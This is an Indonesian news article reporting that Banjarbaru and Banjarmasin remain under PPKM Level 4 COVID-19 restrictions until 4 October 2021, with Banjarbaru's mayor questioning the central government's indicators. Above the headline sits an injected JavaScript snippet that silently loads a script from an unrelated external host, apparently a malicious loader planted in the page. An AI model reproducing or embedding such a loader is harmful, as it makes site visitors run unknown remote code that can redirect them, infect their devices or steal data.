(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Banjarbaru Bertahan PPKM Level 4, Wali Kota Aditya Sempat Pertanyakan Penilaian Pusat

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah memutuskan untuk tetap memperpanjang PPKM di 10 kabupaten/kota di luar Jawa dan Bali mulai 21 September hingga 4 Oktober 2021. Mengejutkan, di antara 10 kabupaten kota tersebut adalah Kota Banjarmasin dan Banjarbaru yang sejak beberapa pekan terakhir secara indikator jumlah kasus aktif telah menurun tajam.

Walhasil, pengumuman pemerintah pusat yang disampaikan Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional Airlangga Hartarto, membuat Wali Kota Banjarbaru Aditya Mufti Ariffin sempat mempertanyakan penilaian tersebut.

“Kami mempertanyakan mengapa Kota Banjarbaru masih tetap bertahan di PPKM level 4 dan kami juga tidak memahami indikator yang menjadikan Banjarbaru masih tetap berada di level 4,” katanya, Senin (20/9/2021) menyikapi pengumuman perpanjangan PPKM.

Wali Kota Aditya bersama Wakil Wali Kota Wartono sampai sekarang masih bingung atas apa yang membuat Banjarbaru ditetapkan masih berada di level 4 pembatasan kegiatan masyarakat.

“Indikator yang berhasil dicapai Banjarbaru sudah sangat bagus mulai dari capaian vaksinasi masyarakat, persentase BOR yang tinggal 9 persen dan angka kematian yang relatif menurun. Kami terpaksa mengikuti walau pun keputusan yang sangat pahit bagi kami,” ungkapnya.

Bahkan sebelumnya, Aditya mengatakan, rencana menggelar pembelajaran Tatap Muka (PTM) awal Oktober mendatang.

“Banyak yang tanya kapan pendidikan tatap muka akan dibuka. Oktober, Insyallah akan mulai PTM di Banjarbaru,” kata Aditya saat menghadiri HUT ke-4 Kanalkalimantan.com, Jumat (17/9/2021).

Sebagaimana diketahui, pemerintah memutuskan untuk tetap memperpanjang PPKM di luar Jawa dan Bali mulai 21 September hingga 4 Oktober 2021. Ketua Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional Airlangga Hartarto mengungkapkan masih ada 10 kabupaten/kota di luar Jawa dan Bali yang menerapkan PPKM Level 4. Di antaranya Banjarmasin dan Banjarbaru.

Baca juga : Ini Ringkasan RAPBD Tahun 2022 Kota Banjarbaru

“Ini karena terkait aglomerasi, jumlah penduduk, dan tingkat vaksinasi di bawah 50%,” ujarnya dalam keterangan pers, Senin (20/9/2021).

Sementara itu, jumlah daerah yang menerapkan PPKM Level 3 sebanyak 105 kabupaten/kota, PPKM Level 2 sebanyak 250 kabupaten/kota, dan PPKM Level 1 sebanyak 21 kabupaten/kota.

Berikut adalah 10 kabupaten/kota yang masih menerapkan PPKM Level 4 adalah ; Aceh Tamiang, Pidie, Bangka, Padang, Banjarbaru, Banjarmasin, Balikpapan, Kutai Kartanegara, Tarakan dan Bulungan.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor: cell